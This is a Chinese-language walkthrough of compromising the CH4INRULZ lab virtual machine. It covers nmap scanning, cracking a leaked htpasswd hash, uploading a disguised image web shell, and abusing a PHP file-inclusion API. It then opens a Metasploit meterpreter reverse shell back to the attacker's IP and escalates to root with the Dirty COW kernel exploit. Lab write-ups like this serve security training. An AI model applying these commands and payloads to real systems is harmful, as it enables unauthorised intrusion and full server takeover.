靶机渗透记录—CH4INRULZ_v1.0.1

靶机渗透记录—CH4INRULZ_v1.0.1

文章首发于星盟安全公众号

打开靶机

信息搜集

然后切换到攻击机 先去做信息搜集 扫描一下同网段内存活的主机

nmap -sP -n 192.168.191.0/24

扫到了一个192.168.191.129

探测一下

nmap -sS -sV -Pn -n 192.168.191.129

加个-A探测更详细的版本信息

nmap -sS -sV -A -Pn -n -p- 192.168.191.129

扫描到了 21 22 80 8011端口 其中80 8011都是web服务

查看主站

先去看看80端口吧 网站没啥东西

扫描一下目录

发现可以目录访问网站

扫描到了http://192.168.191.129/development/ 访问会让输入用户名和密码

试试admin + 弱口令 手动输入了几个都不对

还扫描到了一个备份文件index.html.bak

1
2
3
4
5
6
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
</body></html>

这段貌似是用户名和密码 但是密码是经过加密的

frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0

用john爆破一下

知道了用户名和密码

frank:frank!!!

登录http://192.168.191.129/development/页面

网页如下 并没有什么东西

看到提示是一个没有完成的上传界面

通过猜关键词upload uploads uploader

找到一个文件上传点

看看能不能传个木马上去 几番尝试之后发现是白名单

File is not an image.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded.

只允许only JPG, JPEG, PNG & GIF

查看旁站

再去看看8011端口

扫描一下 扫出来了 http://192.168.191.129:8011/api/

这个API将用于与Frank的服务器通信

但仍在开发中

访问一下这些php文件

发现只有 files_api.php 是存在的

翻译:

没有传递给我名为file的参数

*注意:这个API不使用json,所以以原始格式发送文件名

那貌似是文件上传呀 先随便填一个file参数试一下

wrong input

换个参数试试

没反应 那说明file参数是接收的

接下来试一下post传参 没啥反应

换个内容 原来是可以任意读取的

用伪协议读一下页面源码试试

解码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<head>
<title>franks website | simple website browser API</title>
</head>

<?php


$file = $_POST['file'];
include($file);
$get_file = $_GET['file'];

if(isset($get_file)){

echo "<b>********* HACKER DETECTED *********</b>";
echo "<p>YOUR IP IS : ".$_SERVER['REMOTE_ADDR'];
echo "</p><p>WRONG INPUT !!</p>";
break;
}


if(!isset($file)){

echo "<p>No parameter called file passed to me</p>";
echo "<p>* Note : this API don't use json , so send the file name in raw format</p>";

}

/** else{
echo strcmp($file,"/etc/passwd");
echo strlen($file);
echo strlen("/etc/passwd");
if($file == "/etc/passwd"){
"HACKER DETECTED ..";
}
}**/


?>

post进去的可以被包含

Msf Getshell

回主站上传图片马

加上GIF文件头 上传成功

但是不知道上传到哪里去了 利用文件包含去猜一下

apache服务器一般是在 /var/www/下

file=php://filter/read=convert.base64-encode/resource=/var/www/development/uploader/upload.php

base64解密后拿到了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>

第二行就看到了目录

1
$target_dir = "FRANKuploads/";

再回旁站去包含

成功访问大马 但是不是一直包含是没法用的

那就用msf生成一个反弹shell的马

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.191.128  LPORT=8888 -f raw -o 1.php

然后启动监听

1
2
3
4
5
6
7
8
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.191.128
lhost => 192.168.191.128
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
msf5 exploit(multi/handler) > run

msf准备好了 接下来去上传然后包含

成功反弹

只有个www-data权限 在msf的shell里总是有乱码 所以想传个马方便一些

查看当前目录是/var/anotherwww/api

传一个大马上去 发现只有FRANKuploads文件夹有权限上传

有了大马 舒服了很多

脏牛提权

在大马里执行命令 查看系统内核版本

上传一个linux exp探索工具

然后加一个执行权限

chmod +x linux-exploit-suggester.sh

执行./chmod +x linux-exploit-suggester.sh

工具给出一些建议 尝试相应的poc

来用CVE-2016-5195(脏牛)提权 去网上找个

百度到的脏牛提权复现文章:https://blog.csdn.net/haha13l4/article/details/96913574

poc下载:https://github.com/FireFart/dirtycow

下载exp 然后编译一下

gcc -pthread dirty.c -o dirty -lcrypt

然后把编译完的exp上传到靶机

然后赋予执行权限chmod +x dirty

缺少依赖报错

执行的时候却遇到了缺少依赖的错误 应该是gcc缺少依赖的原因

那我就换个虚拟机再去编译一下

于是换到另一个ubuntu虚拟机重新编译

gcc -pthread dirty.c -o dirty -lcrypt

重新上传并赋予执行权限

提权成功

现在我们可以用找个用户名和密码登录了

直接ssh登录

看一下权限 已经获得了root

拿到root.txt

总结

1.该靶机信息搜集阶段很重要,扫描的时候好的字典很重要

2.主站没思路去旁站

3.提权有问题多百度该漏洞的复现文章,过程中报错就百度错误,总会解决的